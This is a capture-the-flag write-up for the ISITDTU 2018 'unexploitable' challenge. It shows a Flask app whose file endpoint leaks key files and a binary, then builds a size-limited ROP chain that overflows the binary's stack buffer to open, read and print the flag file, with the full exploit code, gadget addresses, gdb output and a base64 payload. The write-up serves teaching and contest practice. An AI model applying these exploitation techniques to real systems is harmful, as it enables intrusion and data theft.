ISITDTU CTF 2018 Quals - unexploitable
7 Solves
I had secure service. Can u exploit it?
Link: Secure Service> http://206.189.83.108/
Attachment: unexploitable key1 key2 xpl.py
The link for unexploitable
leads us to a website for guessing keys
.
So, the source code for the page is also available via Get Source
from flask import Flask, Response, render_template, session, request, jsonify, send_file
import os
from subprocess import run, STDOUT, PIPE, CalledProcessError
from base64 import b64decode, b64encode
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
keys = {
'key1': open('tmp/key1').read().strip(),
'key2': open('tmp/key2').read().strip()
}
@app.route('/')
def main():
if session.get('level') == None:
session['level'] = 0
return render_template('index.html', name="CNV", level = session['level'])
@app.route('/source', methods=['GET'])
def resouce():
file_name = request.args.get('name')
if '/' in file_name or '..' in file_name or 'private' in file_name:
return 'Access Denied'
file_path = 'tmp/' + file_name
if os.path.isfile(file_path):
return send_file(file_path)
else:
return render_template('index.html', name="CNV", level = session['level'])
@app.route('/exploit', methods=['POST'])
def exploit():
if session.get('level') <= 1:
return jsonify({'result': 'Only for supper user!'})
try:
data = request.get_json(force=True)
except Exception:
return jsonify({'result': 'Wrong data!'})
try:
payload = b64decode(data['payload'].encode())
except TypeError:
return jsonify({'result': 'Wrong data!'})
try:
#result = run(['tmp/unexploitable'], input=payload, stdout=PIPE, stderr=STDOUT, timeout=2, check=True).stdout
result = run(['nc', 'localhost', '9999'], input=payload, stdout=PIPE, stderr=STDOUT, timeout=2, check=True).stdout
except CalledProcessError:
return jsonify({'result': 'Error run file!'})
return jsonify({'result': result.decode()})
@app.route('/upto', methods=['POST'])
def upto():
try:
data = request.get_json(force=True)
except Exception:
return jsonify({'result': 'Wrong data!'})
try:
if session['level'] == 0 and data['type'] == 'key1' and data['key'] == keys['key1']:
session['level'] = 1
return jsonify({'result': 'Up to level 1!'})
if session['level'] == 1 and data['type'] == 'key2' and data['key'] == keys['key2']:
session['level'] = 2
return jsonify({'result': 'Up to level 2!'})
except Exception:
return jsonify({'result': 'Wrong data!'})
return jsonify({'result': 'Wrong key!'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Let’s take this apart
- reads key1 from tmp/key1
- reads key2 from tmp/key2
- for getting to level 1 we need to provide the content of key1 (upto)
- for getting to level 2 we need to provide the content of key2 (upto)
- if we’re level2 we’re allowed to use the
exploit
service, which will b64decode our input and pass it to theunexploitable
binary (via nc)
Ok, so first let’s get levelled up. For getting the source, the website navigated to http://206.189.83.108/source?name=app.py
.
We can also use this to retrieve other files:
http://206.189.83.108/source?name=key1
http://206.189.83.108/source?name=key2
This rewards us with both key files, so we can jump to level2 by entering the content and select Up Level
. When reaching level 2, we get a new input field and an Exploit
button. This would be way easier, if we would have access to the binary itself.
http://206.189.83.108/source?name=unexploitable
takes care of this :)
So, thanks to DutChen18
for getting rid of that initial web stuff ;)
The binary is statically linked
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=973cda68e6c5ccc8f60cf2407f3210f187c52f8e, stripped
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
and contains an obvious buffer overflow, when passing an input longer than 24 characters. So, this should lead to an easy ropchain challenge :)
We just have to consider, that it is run via the website, so we have no stdin
to add input later on or reuse any leaks, so our ropchain has to be fire & forget
and just do everything without additional input.
One could have guessed that the flag would be located at /home/unexploitable/flag
but I wasted the most time trying getting some ls
/ ls /home
/ ls /home/unexploitable
ready just to realize the obvious, so I spare you the pain until there, and just get on with the open/read/write
approach I used in the end ;)
The main problem that remains is getting the needed strings to some known
address to use it for an execve
or open/read/write
ropchain. Since ASLR
is active, we cannot reference strings directly from our payload. We should place them somewhere more convenient, like the bss
.
While enumerating the directories on the server to find the flag location, I switched from different methods of putting the strings to bss, since I always reached the input limit of 256 chars for our payload.
Starting from just popping the values into a register, pop the destination address into another and then use a mov [rxx], rxx
to write the value to the bss. But for doing a ls /home/unexploitable
this ultimately reached the input limit, so I switched to some other tricks for getting the strings moved to bss.
0x434eb4: mov rcx,QWORD PTR [rsi]
0x434eb7: mov QWORD PTR [rdi+0x7],rdx
0x434ebb: mov QWORD PTR [rdi],rcx
0x434ebe: ret
Before executing this gadget, we’ll pop the destination address (0x6c9198
) into rdi
and the string "eexploit"
into rdx
.
When the ropchain starts, rsi
will point to the start of our payload. So it will store the first 8 bytes of our payload into rcx
(for this we’ll put “/home/un
”” at the start of our payload).
mov [rdi+0x7], rdx]
will then write the value of rdx
("eexploit"
) to 0x6c9198+7
def exploit(r):
payload = "/home/un" # first string
payload += "A"*8
payload += "A"*8
# write char 0-15
payload += p64(POPRDX)
payload += "eexploit" # second string
payload += p64(POPRDI)
payload += p64(0x6c9198) # Buffer
payload += p64(0x434eb4) # Gadget
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x4002c8 --> 0x1d058b4808ec8348
RCX: 0x6e752f656d6f682f ('/home/un')
RDX: 0x74696f6c70786565 ('eexploit')
RSI: 0x7fffffffe460 ("/home/un", 'A' <repeats 16 times>, "\006&D")
RDI: 0x6c9198 --> 0x6500000000000000 ('')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe4a0 --> 0x4a0e5e --> 0xf00b74000022c359
RIP: 0x434ebb --> 0xf00ff290c30f8948
R8 : 0xd ('\r')
R9 : 0x6
R10: 0x3c ('<')
R11: 0x346
R12: 0x401540 --> 0x6c9ed8be415641
R13: 0x4015d0 --> 0x8148006c9ef8bb53
R14: 0x0
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x434eb0: mov rdx,QWORD PTR [rsi+0x7]
0x434eb4: mov rcx,QWORD PTR [rsi]
0x434eb7: mov QWORD PTR [rdi+0x7],rdx
=> 0x434ebb: mov QWORD PTR [rdi],rcx
0x434ebe: ret
0x434ebf: nop
0x434ec0: lddqu xmm0,[rsi+0x7e]
0x434ec5: movdqu XMMWORD PTR [rdi+0x7e],xmm0
[------------------------------------stack-------------------------------------]
gdb-peda$ x/4gx 0x6c9198
0x6c9198: 0x6500000000000000 0x0074696f6c707865
0x6c91a8: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/s 0x6c9198+8
0x6c91a0: "exploit"
After that mov [rdi], rcx
will write the content of rcx
("/home/un"
) to 0x6c9198
(overwriting the superfluous e
from "eexploit"
).
gdb-peda$ x/4gx 0x6c9198
0x6c9198: 0x6e752f656d6f682f 0x0074696f6c707865
0x6c91a8: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/s 0x6c9198
0x6c9198: "/home/unexploit"
Thus, we copied the first 15 chars while only wasting 5 gadgets (instead of 10 when using pop/pop/mov
).
For the next 15 bytes, we cannot reuse rsi
anymore, since it’s still pointing to the start of our payload, but we’ll reuse that gadget in a shorter form
0x434eb4: mov rcx,QWORD PTR [rsi]
0x434eb7: mov QWORD PTR [rdi+0x7],rdx
0x434ebb: mov QWORD PTR [rdi],rcx
0x434ebe: ret
# write char 15-22
payload += p64(POPRCX)
payload += "able/fla"
payload += p64(POPRDX)
payload += "gg".ljust(8, "\x00")
payload += p64(POPRDI)
payload += p64(0x6c9198+15)
payload += p64(0x434eb7)
This time, we have to pop rcx
for ourself and cannot rely on the first opcode filling it up, but still we only needed 7 gadgets to write the rest of the string to bss (where now /home/unexploitable/flag
is stored).
We could now continue with an ordinary open/read/write
ropchain
# open
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(0x6c9198) # filename
payload += p64(POPRSI)
payload += p64(0)
payload += p64(SYSCALL)
# read
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(0x6c9198) # dest buffer
payload += p64(POPRDX)
payload += p64(100) # read length
payload += p64(SYSCALL)
# write
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(SYSCALL)
But well, this will lead to a 288
bytes payload again :(
So, we’ll have to optimize this a little bit further. We can get rid of
payload += p64(POPRDI)
payload += p64(0x6c9198) # filename
int the open
ropchain, by just executing our bss write ropchain in the opposite order:
payload = "/home/un"
payload += "A"*8
payload += "A"*8
# write char 15-22
payload += p64(POPRCX)
payload += "able/fla"
payload += p64(POPRDX)
payload += "gg".ljust(8, "\x00")
payload += p64(POPRDI)
payload += p64(0x6c9198+15)
payload += p64(0x434eb7)
# write char 0-15
payload += p64(POPRDX)
payload += "eexploit"
payload += p64(POPRDI)
payload += p64(0x6c9198)
payload += p64(0x0000000000434eb4)
# open
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(SYSCALL)
Thus, rdi
will already point to 0x6c9198
from writing the first 15 characters to bss
so we don’t have to set it again.
payload += p64(POPRAX)
payload += p64(0)
In shellcode, we’ll nearly always set rax
to 0
by using xor rax, rax
. We can do the same here, since there’s is a xor rax, rax
gadget in the binary, so we’ll change it to
payload += p64(XORRAX)
Still 264 bytes, one more gadget to get rid of. This last gadget was quite frustrating to find (though in hindsight, it might even have been easier to switch to an execve
ropchain…)
0x4424d6: mov edx,0x64
0x4424db: test eax,eax
0x4424dd: cmove eax,edx
0x4424e0: ret
Though, this might corrupt rax
, it will definitely set rdx
to a nice value for read
, so let’s just execute this gadget before open
(which will fixup the corrupted rax
), and get rid of
payload += p64(POPRDX)
payload += p64(100) # read length
resulting in the final payload:
def exploit(r):
payload = "/home/un"
payload += "A"*8
payload += "A"*8
# write char 15-22
payload += p64(POPRCX)
payload += "able/fla"
payload += p64(POPRDX)
payload += "gg".ljust(8, "\x00")
payload += p64(POPRDI)
payload += p64(0x6c9198+15)
payload += p64(0x434eb7)
# write char 0-15
payload += p64(POPRDX)
payload += "eexploit"
payload += p64(POPRDI)
payload += p64(0x6c9198)
payload += p64(0x434eb4)
payload += p64(0x4424d6) #mov edx, 8
# open
payload += p64(POPRAX)
payload += p64(2)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(SYSCALL)
# read
payload += p64(XORRAX)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(0x6c9198)
payload += p64(SYSCALL)
# write
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(SYSCALL)
print len(payload)
print(base64.b64encode(payload))
r.sendline(payload)
r.interactive()
Exactly 256 bytes and on the local test environment it outputs the flag
[+] Starting local process './unexploitable': pid 2763
[2763]
[*] Paused (press any to continue)
256
L2hvbWUvdW5BQUFBQUFBQUFBQUFBQUFBXg5KAAAAAABhYmxlL2ZsYQYmRAAAAAAAZ2cAAAAAAACmFEAAAAAAAKeRbAAAAAAAt05DAAAAAAAGJkQAAAAAAGVleHBsb2l0phRAAAAAAACYkWwAAAAAALROQwAAAAAA1iREAAAAAACE3EYAAAAAAAIAAAAAAAAAxxVAAAAAAAAAAAAAAAAAANVvRgAAAAAAz11CAAAAAACmFEAAAAAAAAMAAAAAAAAAxxVAAAAAAACYkWwAAAAAANVvRgAAAAAAhNxGAAAAAAABAAAAAAAAAKYUQAAAAAAAAQAAAAAAAADVb0YAAAAAAA==
[*] Switching to interactive mode
test
/unexploitable/flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$
So, let’s copy that base64 output and feed the website with it :)